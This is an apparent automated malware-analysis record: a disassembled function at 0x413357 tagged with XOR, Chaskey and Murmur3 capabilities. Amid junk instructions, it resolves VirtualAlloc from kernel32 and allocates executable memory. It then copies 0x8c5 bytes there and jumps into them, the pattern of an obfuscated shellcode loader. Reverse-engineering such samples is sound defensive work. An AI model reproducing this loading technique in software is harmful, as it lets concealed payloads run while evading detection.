Function at 0x413357
Capabilities:
Encode data using xor
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
xor dword [0x4eb34c], ecx
neg eax
xchg eax, eax
inc eax
neg edx
call fcn.00402169
mov edi, dword [0x4e901f]
call fcn.00403c2f
loop 0x41334f
push 0
dec ecx
and dword [0x4eb56c], edi
call fcn.00414d24
neg ecx
sub edx, dword [0x4e8086]
sub ebx, dword [0x4e9620]
dec esi
add byte [ecx + 0x4eb52505], al
add byte [ecx], bl
and al, 0xe2
or eax, 0x1d33d833
adc bl, byte [esi + ecx*2 + 0x42c03300]
not esi
xor dword [0x4eb8e8], 0x11d6e92e
sub esi, dword [0x4e985a]
not ecx
xor eax, 0x19b48b20
and byte [ebx - 0x373ee64c], cl
push ds
add edi, 0x1d5ee234
xor dword [0x4eb308], 0x3ed8aa1
call fcn.00403e01
or dword [0x4eb2f7], esi
push 0x320033
call fcn.00414d24
and dword [0x4eb91e], esi
add byte [ebx], dh
enter 0x152b, 0x3e
mov dword [esi], ecx
add esi, dword [0x4e8611]
add eax, 0x102886b4
and dword [0x4eb458], edi
xor eax, 0x1efba5b7
mov dword [0x4eb5e0], 0x508ee00
xor esi, dword [0x4e9243]
call fcn.0040c82f
xor eax, 0xe1d7466
dec edx
mov dword [0x4eb5c6], 0x1401f
or dword [0x4eb7da], edx
mov dword [0x4eb4c8], ecx
push 0x6c0065
and dword [0x4eb553], 0xaeebfb6
not esi
mov dword [0x4eb596], 0x368a160
ror eax, 0x13
neg eax
call fcn.00406bd6
add eax, eax
neg esi
xchg eax, eax
rol edx, 0x13
sub dword [0x4eb6d7], ebx
ror esi, 0x1f
call fcn.00403e01
xor esi, edi
dec edx
call fcn.00401aac
xor eax, 0xe7aa9dc
mov dword [0x4eb5f0], ebx
sub edx, dword [str.._AV__time_put__WV__ostreambuf_iterator__WU__char_traits__W_std___std___std__]
not edx
rol edi, 0x1f
not edi
mov dword [0x4eb58a], edx
call fcn.00403e01
add dword [0x4eb506], ecx
call fcn.00407f0c
push 0x6e0072
mov dword [0x4eb326], ebx
call fcn.00414d24
not edx
xor ecx, eax
call fcn.004055d3
ror eax, 0xd
neg esi
add ecx, dword [0x4e9c57]
not eax
sub esi, eax
ror eax, 0xc
call fcn.00407cc2
call fcn.0040375a
and dword [0x4eb3b0], ebx
push 0x65006b
sub esi, eax
xor esi, eax
inc eax
ror eax, 0x14
xor eax, esi
call fcn.0040220a
sub dword [0x4eb729], 0x2725818c
neg ebx
call fcn.00407cc2
sub ebx, esi
mov dword [0x4eb588], esi
sub edx, dword [vtable.type_info.0]
dec edx
xchg edx, edx
rol esi, 0x1e
add ecx, dword [0x4e9349]
sub dword [0x4eb925], edx
mov dword [0x4eb82f], 0x7b898ae
push esp
call fcn.00406c31
inc esi
mov dword [0x4eb48b], ecx
xor ebx, dword [0x4e9a0e]
xor eax, 0x26ad6b
mov dword [0x4eb788], ecx
rol esi, 0xd
neg eax
or dword [0x4eb8fe], 0x2e4841c
xor ecx, dword [0x4e89a8]
xchg eax, esi
ror edx, 5
xor ebx, dword [0x4e817b]
xchg eax, eax
add edi, dword [0x4e8d7e]
mov dword [0x4eb851], 0x583c814
or dword [0x4eb6a6], ecx
or dword [0x4eb95a], esi
call fcn.00404776
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor esi, eax
not edx
xor edi, dword [0x4ebafb]
call fcn.004013fe
xor esi, eax
ror esi, 0xe
mov dword [0x4eb77e], esi
sub edx, dword [0x4eba27]
ror eax, 0xd
sub ecx, edx
sub esi, dword [0x4eba22]
neg eax
sub eax, edi
add dword [0x4eb3fc], 0x924d75f
sub edi, esp
xor dword [0x4eb6c4], ecx
sub ecx, dword [0x4ebe45]
inc eax
xor ebx, 0xd091808
inc eax
dec eax
xor ebx, 0xd091808
dec eax
add edi, esp
mov dword [0x4eb932], 0x313343fc
add eax, edi
neg eax
add ecx, edx
rol eax, 0xd
rol esi, 0xe
xor esi, eax
call fcn.004034c6
not edx
xor esi, eax
add esp, 0x14
call fcn.0040320a
xor esi, eax
xor ecx, dword [0x4ebe0e]
xor edx, dword [0x4ebb95]
sub esi, eax
ror eax, 0xf
xor ebx, dword [0x4ebd3c]
sub esi, eax
ror eax, 0x10
xor ecx, dword [0x4eb9ae]
call fcn.004022cd
sub ebx, dword [0x4ebac5]
call fcn.004073b5
rol eax, 0x10
add esi, eax
rol eax, 0xf
add esi, eax
xor esi, eax
call fcn.0040587c
push 0
inc eax
sub esi, dword [0x4ebf58]
xor ecx, 0x23ddfa64
dec esi
xor edx, ebx
call fcn.004075e0
xchg esi, eax
sub ecx, dword [0x4ebb79]
and dword [0x4eb48a], 0x10a1f373
sub edx, esp
neg esi
sub dword [0x4eb34a], ebx
xor ecx, dword [0x4ebc21]
or dword [0x4eb3f8], 0x48df294
inc edx
xor dword [0x4eb5f5], ecx
ror eax, 0x17
xor edi, edx
neg eax
call fcn.004015f9
inc eax
dec eax
neg eax
xor edi, edx
rol eax, 0x17
and dword [0x4eb8c0], edx
dec edx
add dword [0x4eb6d4], 0x1b0e9fd
neg esi
add edx, esp
mov dword [0x4eb5da], 0x18326446
xchg esi, eax
xor edx, ebx
inc esi
xor ecx, 0x23ddfa64
dec eax
push 0x636f6c6c
rol eax, 0x15
mov dword [0x4eb8d4], 0xf9e7956
rol esi, 8
mov dword [0x4eb7c9], 0x78974a
xor eax, 0x5008c52
xor dword [0x4eb525], 0x1430f3d
call fcn.004049f2
inc ecx
xor edx, dword [0x4eb9f6]
or dword [0x4eb8b8], ebx
add edx, eax
inc edi
xor ecx, dword [0x4ebf48]
dec edi
sub edx, eax
or dword [0x4eb4ec], ebx
dec ecx
call fcn.0040889b
xor eax, 0x5008c52
mov dword [0x4eb4ac], 0x2f13e1bd
ror esi, 8
mov dword [0x4eb3d8], 0x1ee2361e
ror eax, 0x15
push 0x416c6175
sub ecx, eax
sub ecx, dword [0x4ebe4b]
add esi, eax
not esi
call fcn.00406b76
xor ecx, eax
call fcn.004011cb
xor eax, esp
rol ecx, 6
xor ebx, dword [0x4ebecc]
neg edx
add edi, ecx
call fcn.0040587c
not esi
mov dword [0x4eb91f], edx
mov dword [0x4eb892], ebx
not esi
sub edi, ecx
neg edx
ror ecx, 6
xor eax, esp
xor ecx, eax
call fcn.00403a98
not esi
sub esi, eax
add ecx, eax
push 0x74726956
xchg edi, esi
dec ebx
rol ecx, 0x1e
not esi
xor edx, ecx
xor ecx, dword [0x4ebf52]
ror esi, 9
call fcn.00408bb3
add ebx, dword [0x4ebc5a]
xor edx, 0x19aee1e
dec eax
xor edx, 0x3a55c00
xor ebx, dword [0x4ebaa6]
sub dword [0x4eb505], ecx
xor edx, 0x3a55c00
inc eax
xor edx, 0x19aee1e
rol esi, 9
xor edx, ecx
not esi
ror ecx, 0x1e
inc ebx
xchg edi, esi
push esp
xor esi, eax
ror ecx, 0x1e
xchg edi, eax
mov dword [0x4eb647], 0x4a398b6
ror esi, 8
not eax
call fcn.004012bb
xor ecx, dword [0x4ebce2]
add eax, esp
ror esi, 0x14
xor esi, 0x2343f25b
xor esi, dword [0x4ebe35]
add dword [0x4eb82e], 0x991cf40
call fcn.0040261e
sub ecx, dword [0x4ebfd0]
not esi
call fcn.00408572
ror esi, 5
rol esi, 5
call fcn.00403f20
not esi
call fcn.00405b56
xor dword [0x4eb466], 0x16f63b12
xor esi, 0x2343f25b
rol esi, 0x14
sub eax, esp
not eax
rol esi, 8
mov dword [0x4eb8c6], 0x2ee6c200
xchg edi, eax
rol ecx, 0x1e
xor esi, eax
push eax
xor ecx, dword [0x4eba5a]
sub dword [0x4eb429], 0x2dd0bd00
xor edi, eax
ror eax, 7
inc edx
xchg esi, eax
neg esi
sub edx, dword [0x4ebf9e]
ror eax, 4
xor ecx, esp
dec esi
not ebx
add ecx, dword [0x4ebf2a]
sub esi, eax
neg esi
sub ebx, 0x39570229
xor ebx, dword [0x4ebb29]
sub esi, dword [0x4ebc10]
or dword [0x4eb577], esi
rol eax, 0x1d
xor ebx, dword [0x4eba10]
xchg eax, eax
xchg eax, eax
ror eax, 0x1d
mov dword [0x4eb960], edx
add ebx, 0x39570229
neg esi
add esi, eax
not ebx
inc esi
xor ecx, esp
rol eax, 4
neg esi
xchg esi, eax
dec edx
rol eax, 7
xor edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, dword [0x4ebd8c]
neg esi
xor eax, 0x1c1b3f00
xor esi, eax
xor dword [0x4eb93f], esi
xor ecx, edx
or dword [0x4eb551], ecx
ror eax, 8
xor edi, esp
xor edx, eax
call fcn.004060af
mov dword [0x4eb6d6], edx
inc edx
add esi, eax
call fcn.004070a4
add ebx, eax
dec edx
mov dword [0x4eb437], ebx
add esi, dword [0x4ebd4a]
sub dword [0x4eb526], ebx
inc edx
sub ebx, eax
call fcn.0040699a
sub esi, eax
dec edx
xor edx, eax
xor edi, esp
rol eax, 8
xor ecx, edx
mov dword [0x4eb86e], ecx
xor esi, eax
xor eax, 0x1c1b3f00
neg esi
add esp, 0x10
sub dword [0x4eb4e9], 0xc85950c
sub ecx, dword [0x4ebd69]
add dword [0x4eb559], 0x12595ba2
dec esi
sub ecx, esp
add edx, dword [0x4ebbec]
xor ecx, esi
inc ebx
xor edx, dword [0x4ebe50]
xor ecx, esi
and dword [0x4eb423], 0x32751ccc
mov dword [0x4eb4d0], 0x520a020
xor esi, 0x121f78fc
sub dword [0x4eb589], ebx
add esi, dword [0x4ebd8e]
neg esi
call fcn.00401de3
call fcn.00405b56
neg esi
mov dword [0x4eb7f6], ecx
xor esi, 0x121f78fc
or dword [0x4eb6d2], 0x11d8871e
xor ecx, esi
dec ebx
xor ecx, esi
add ecx, esp
inc esi
sub dword [0x4eb4a1], 0x14dccbc1
or dword [0x4eb3ce], 0x83249a
push 0x40
not eax
dec edi
sub edx, dword [0x4ebe30]
add ecx, dword [0x4ebc78]
xor eax, 0x46462f0
call fcn.00401933
dec eax
ror esi, 1
xor eax, edx
not ecx
or dword [0x4eb73e], 0x147c44d0
ror edx, 0x13
neg edx
xor ebx, esi
ror esi, 0xe
xor esi, 0x14aabe1c
xchg eax, eax
ror esi, 0xd
call fcn.00403611
not eax
and dword [0x4eb832], 0x7cd2428
sub dword [0x4eb406], 0x55c7df0
not eax
call fcn.0040639a
rol esi, 0xd
xchg eax, eax
xor esi, 0x14aabe1c
rol esi, 0xe
xor ebx, esi
neg edx
rol edx, 0x13
mov dword [0x4eb59e], 0x80f959d
not ecx
xor eax, edx
rol esi, 1
inc eax
call fcn.004017f8
xor eax, 0x46462f0
inc edi
not eax
push 0x3000
call fcn.004066bc
xchg esi, edx
sub esi, 0x22802598
inc edx
xchg eax, eax
sub esi, dword [0x4ebf4e]
xor esi, eax
xor ecx, dword [0x4eba32]
add dword [0x4eb911], 0x17a71f63
inc esi
and dword [0x4eb93e], ecx
rol eax, 0x1b
add eax, 0x482cfd6
xor eax, edi
not eax
rol esi, 0xd
not eax
dec ecx
ror edi, 0x1a
not eax
xor edi, 0x4472de0
not eax
not eax
xor edi, 0x4472de0
not eax
rol edi, 0x1a
inc ecx
not eax
ror esi, 0xd
not eax
xor eax, edi
sub eax, 0x482cfd6
ror eax, 0x1b
sub dword [0x4eb763], ebx
dec esi
mov dword [0x4eb7b6], 0x75fe0e7
xor esi, eax
xchg eax, eax
dec edx
add esi, 0x22802598
xchg esi, edx
push 0x8c5
sub esi, dword [0x4ebe1b]
mov dword [0x4eb4fc], esi
add esi, 0x2450e1dc
sub ecx, dword [0x4eba6e]
ror esi, 0x14
call fcn.00402a7d
xor ebx, esi
call fcn.00402fe6
xor esi, eax
mov dword [0x4eb34f], ebx
xor esi, eax
call fcn.00404c9b
xor ebx, esi
call fcn.00401afb
rol esi, 0x14
sub esi, 0x2450e1dc
sub dword [0x4eb8ae], esi
push 0
call fcn.004073b5
xor ecx, dword [0x4ebc90]
inc edi
call fcn.004047c7
neg edi
mov dword [0x4eb5e5], 0x2908fcbd
sub edi, dword [0x4ebd18]
dec ecx
xor dword [0x4eb448], ecx
ror eax, 0xa
call fcn.00401d57
call fcn.00404484
rol eax, 0xa
sub dword [0x4eb412], ecx
inc ecx
and dword [0x4eb838], 0x6eeca98
neg edi
call fcn.00403c2f
dec edi
call fcn.00407cc2
call eax
rol esi, 0x19
neg eax
sub ebx, eax
dec esi
xor ecx, dword [0x4ebf2b]
add ebx, esi
mov dword [0x4eb692], esi
neg eax
call fcn.0040587c
not eax
not eax
neg eax
add dword [0x4eb6c8], edx
sub ebx, esi
inc esi
add ebx, eax
neg eax
ror esi, 0x19
call 0x413c3d
xor ecx, dword [0x4ebbce]
xor edx, 0x40940d4
or dword [0x4eb583], ecx
dec esi
call fcn.00403a98
dec esi
xchg eax, esi
call fcn.00401d57
neg eax
dec eax
xchg eax, eax
xor esi, dword [0x4ebd68]
call fcn.0040639a
xor ecx, ebp
xor ecx, ebp
call fcn.00404059
xchg eax, eax
inc eax
neg eax
call fcn.00402c40
xchg eax, esi
inc esi
call fcn.004070a4
inc esi
xor edx, 0x40940d4
pop esi
or dword [0x4eb316], edx
not eax
xor dword [0x4eb341], 0xbde5c1d
xchg eax, edx
neg esi
or dword [0x4eb918], 0x3ad4f00
xor eax, 0x37aa24a4
add edi, dword [0x4ebcd8]
xchg eax, esi
not esi
not esi
xchg eax, esi
xor eax, 0x37aa24a4
neg esi
xchg eax, edx
sub dword [0x4eb370], 0x148f465e
not eax
mov dword [0x4eb95e], edx
add esi, 0x28d
xor edx, 0x1c668234
mov dword [0x4eb3ce], ecx
call fcn.00401bb1
xor esi, eax
rol eax, 1
xor esi, eax
xor dword [0x4eb320], 0x2dcebe40
neg eax
rol esi, 0x16
xchg eax, esi
xor ecx, dword [0x4ebbbf]
call fcn.004012d3
mov dword [0x4eb5bc], 0xb4d3793
or dword [0x4eb4fb], 0x12ad169d
call fcn.00402af3
xor esi, eax
mov dword [0x4eb7fe], ebx
inc edi
rol eax, 1
call fcn.00401d57
call fcn.004011f3
ror eax, 1
dec edi
xor esi, eax
call fcn.00407cc2
or dword [0x4eb3ae], 0x171318bd
xor dword [0x4eb895], 0x583e168
call fcn.00408572
xchg eax, esi
ror esi, 0x16
neg eax
xor dword [0x4eb858], 0x246c5ce4
xor esi, eax
ror eax, 1
xor esi, eax
xor edx, 0x1c668234
mov edi, eax
xor esi, 0x3d806ea
xchg eax, eax
xor ebx, 0x9973d04
sub eax, ecx
xor esi, dword [0x4ebb34]
xor esi, 0x2a40b3c
call fcn.00402f56
inc eax
sub esi, dword [0x4ebfb7]
or dword [0x4eb36e], 0x64fc4b9
push es
xchg edx, edx
inc esi
xor edi, dword [0x4ebba2]
xor eax, ecx
rol ecx, 0x13
dec eax
inc eax
ror ecx, 0x13
xor eax, ecx
dec esi
xchg edx, edx
mov dword [0x4eb66a], 0x1996000
dec eax
xor esi, 0x2a40b3c
add eax, ecx
xor ebx, 0x9973d04
xchg eax, eax
xor esi, 0x3d806ea
mov ecx, 0x8c5
xor edi, 0xadee06
sub edx, esp
sub dword [0x4eb826], 0xc8f0090
add esi, eax
sub esi, ebx
add esi, dword [0x4ebb10]
dec eax
xor esi, eax
call fcn.00408fbc
xor ecx, dword [0x4ebb6c]
sub ebx, dword [0x4eb9d6]
neg ebx
xor eax, esp
call fcn.00404776
call fcn.00407de4
xor eax, esp
neg ebx
call fcn.00402925
xor esi, eax
inc eax
add esi, ebx
sub esi, eax
add edx, esp
xor edi, 0xadee06
rep movsb byte es:[edi], byte [esi]
xor ecx, dword [0x4ebe7b]
ror ecx, 0x1b
dec eax
not eax
xchg esi, esi
sub ebx, dword [0x4ebefa]
sub esi, eax
not eax
xor edi, esp
dec eax
sub eax, 0x473a120
add eax, 0x473a120
inc eax
xor edi, esp
not eax
add esi, eax
xchg esi, esi
not eax
inc eax
rol ecx, 0x1b
jmp eax